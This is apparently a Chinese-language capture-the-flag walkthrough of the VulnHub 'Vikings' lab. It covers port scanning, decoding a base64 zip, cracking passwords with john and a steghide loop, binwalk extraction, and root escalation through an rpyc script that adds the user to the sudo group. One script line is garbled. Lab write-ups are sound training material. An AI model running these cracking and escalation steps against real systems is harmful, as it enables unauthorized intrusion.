VulnHub靶机-Vikings |红队打靶
2023-5-31 08:29:59 Author: 0x00实验室(查看原文) 阅读量:18 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 09 篇文章 

kali:1.0.0.3/24
靶机:1.0.0.4/24
靶机下载: https://download.vulnhub.com/vikings/Vikings.ova
难度:低(中)

全流程思路:

主机发现  端口扫描  
WEB信息搜集:在里面我们发现了个 base64的编码文本
编码转换/文件还原:为加密的 zip文件
离线密码破解 隐写技术
二进制文件提取:为一个压缩包 zip,给予登陆密码提示
素数查找/克拉茨猜想:登陆密码提示
RPC漏洞提权

局部思路

数据流的分析

  1. 确认编码:是否加密,是否压缩(通过计算熵值来判断)

  2. 确认数据流的格式(文件头或者使用相关工具)

  3. 进行相关的查看和解密

文件的隐写

  1. 直接上工具查看

  2. 查看二进制

下意识的操作

  1. 当数据流以字母 "PK" 开头时,很可能是 ZIP 文件格式。ZIP 文件的文件头部分包含标识符 "PK",这是 ZIP 文件格式的标志之一。

  2. 查看 /etc/passwd文件,寻找 /bin/

主要的知识点

  1. RPC漏洞

信息搜集

  1. 主机发现,端口扫描,版本确认。我们直接 nmap出了一个 web目录 /site

  2. 访问靶机的 ip和发现的相关文本路径。然后查看网页的源码,查找相关的路径,api,注释等。依然没有什么收获。

    这个网页的其他链接也是假链接,都是指向本页面的。

  3. 接下来就是常规的操作,目录爬取(迭代的进行爬取)当迭代的爬取 /site的时候我们发现了一个 war.txt的文件。至于其他的没有什么价值。

    然后访问该文件,通过回显的内容/war-is-over。我们很自然的判断这也是 web路径。我们进一步访问发现回显了大量的数据。

  4. 通过访问 /war-is-over,我们可以很简单判断出这是个 base64编码的文件,具有明显的 base64特征。所以我采用

    https://cyberchef.org 这个网站的 From Base64模块来进行解码。但是我们发现解码出来的数据我们依然看不懂。

    不过我们通过数据流的 PK这个打头的信息,我们应该敏感的察觉这很有可能为一个 zip压缩包。我们通过 Entropy模块也可以判断出这个解密出来的数据流很可能经过认为的加密或混淆。因为计算出的 熵值 大于 7.5

    进一步的通过 Detect File Type模块判断文件类型果然为 zip。但是当我们将其保存为 a.zip 打开的时候发现是需要密码的。

zip密码破解

  1. zip2john工具先将 a.zip的密码==提出==来转化为 john可以处理的格式。然后是使用 john进行密码破解,发现密码为:ragnarok123

  2. 打开后发现为一张图片,结合 CTF自然而然的想到是存在数据的隐写可能的。

隐写的破解

  1. 我们使用 steghide工具来帮助我们判断。但是当我们发现的时候它提示我们是需要密码的,这反而更加的让我们确信图片里面存在隐写的数据

  2. 进行密码的破解:

    • 0:为jpeg格式的图片

    • 12:为图片的具体内容

    • 1429567:为一个 zip压缩文件,压缩的大小为:53,解压后为:92。里面的文件名为  user

    • 1429740:zip压缩文件的结束位置

    1. 方法一:自己写个 bash脚本,但是效率太低,无法实现多线程。而且由于字典太大破解速度非常缓慢,而且密码爆破不出来。

      steghide extract king -p $i

      for i in $(cat "rockyou.txt");do steghide extract king -p $i;done
    2. 方法二:我们是否可以直接对 king图片进行二进制的数据分析,暂时的忽略密码验证。看能不能直接从二进制中提取出隐写的数据。我们使用 binwalk工具进行查看,每个行的大致解释:

    3. 进行隐写文件的提取,然后进行查看发现为一段文本我们发现该文本具有非常明显的 ssh的特征。

突破边界

  1. 我们进行 ssh登陆的不断尝试,直到 user:floki passwd:[email protected] 我们才成功的登陆。

  2. 进行一系列的数据收集,而且无法直接 sudo -s 。我们发现了一个非常有趣的用户 ragnar也是能使用 shell

  3. 我们发现在用户目录下有个非常明显的提示文件 readme.txt, boat,当我阅读文件内容全部的时候可以发现它提示我们两个非常有用的信息:1,ragnar           2,create this boat

    然后我们阅读 boat这个为一个伪代码。意思:可打印的字符是你的帮手,num=第 29个素数,将 num放入到 collatz-conjecture(num)函数中,我们可以猜测当经过函数处理后会生成一系列数据,然后将可打印的提取出来。估计就是 ragnar的密码。

  4. 29个素数的python代码,结果为 109

    def find(n):
       if n in [1]:
           if n == 1:
               print(f"第{n}个素数: 2")
           return
       number = 3
       count = 1
       while True:
           i = 0
           mid = int(number/2) + 1
           for i in range(2, mid + 1):
               if number % i == 0:
                   break
           else:
               count += 1
           if count == n:
               print(f"第{n}个素数: {number}")
               return
           number += 1
    if __name__ == "__main__":
       n = 29 # 用于指定你要找的素数是第几个
       find(n)
  5. collatz-conjecture(num)的实现:翻译过来就是 ==考拉兹猜想==,

  6. 这个脚本是结合 可打印的字符是你的帮手这个提示消息,将在考拉兹猜想过程中产生的中间值==进行筛选后==进行输出

    ==不要问为什么这个提示就是这个意思呢?==我感觉还是要你打靶经验,做题经验来帮助你推断的

    number = 109
    a = [number]
    while number != 1:
       if number % 2 == 1:
           number = number * 3 + 1
       else:
           number //= 2
       if number <  and number >32: # 进行是否为ascii 可打印字符的判断
           a.append(number)
    print(a)
  7. 然后再使用 CyberChef来进行编码,我们可以大胆的尝试将其认为是 ragnar的密码

    Delimiter:分隔符                 Comma:逗号,顿号

  8. 进行登陆,登陆成功但是系统还要我们输入一次密码(有没有可能是我们一登陆这个用户,系统就自动的跑了一些需要高权限的程序?==---->==查看自启==动的配置文件==),我们还是用 mR)|>^/Gky[gz=\.F#j5P(  这个密码。输入的时候发现错误,提示 ragnar不在 sudoer组内。

    但是如果我们抛开视频的思路不谈,如果就用登陆成功的 flokishell 进行 su ragnar是不会发现我们还需要输入第二次密码来运行一个程序的。那么这个提示我们要查看==自启动配置文件==的提示就很容易忽略。

    同时我们为了交互的方便将原本的 shshell换位 bash来方便交互。

    拿下第一个 flag

RPC漏洞利用

  1. 我通过查看和用户 ragnar 登陆自启动的相关配置文件来查看到底是哪个程序需要高权限才能运行,当我们浏览到 .profile文件的时候我们发现了目标为一个 python的脚本。

  2. 查看该脚本和它的相关权限,发现该脚本只有 root用户有读写的权限,其他的所有用户只有读和执行的权限。

    该脚本已经大致的注释了该脚本的使用方法,同时我们应该敏锐的发现 rpyc是python中一个用来 RPC的一个模块。

    同时我们发现服务端也是打开了 rpyc服务服务短的端口的,

  3. 接下来的大致思路就是利用 RPC来让靶机替我们执行程序:

    我们选择3来进行尝试,通过阅读 rpyc模块的官方文档,我们可以大致的进行编程出一个脚本。请参考官网的教程,非常简单。就是将 shell函数从客户端传递给服务端。在服务端本地执行 shell函数。只是这里的客户端和服务端都为靶机。

  4. import rpyc
    def shell(): # shell函数将 ragnar加入到sudo这个组中。
       import os
       os.system("sudo usermod -a -G sudo ragnar")
    conn = rpyc.classic.connect("localhost")
    fn = conn.teleport(shell) # fu是一个在服务端执行的函数,其实就是 shell函数
    fn()

    • 让靶机的高权限用户反弹shell。      ==这些都要建立在是可以让高权限用户执行命令的前提下==

    • 让靶机执行提权脚本            

    • 让靶机提升我们已经获得的用户权限。

  5. 再次 ragnar 登陆查看是否提权成功。我们进行 id的查看发现我们是在 sudo组中的,然后直接 sudo -s切换为 root。拿下 flag

    参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490225&idx=1&sn=1ab999b2bfdad7430de7ad184cb3c6f3&chksm=cfd8654ef8afec58e1ca9654eac51bcc4cda69948b7597db97a139ccac84b9cbf67ea5f59f49#rd
如有侵权请联系:admin#unsafe.sh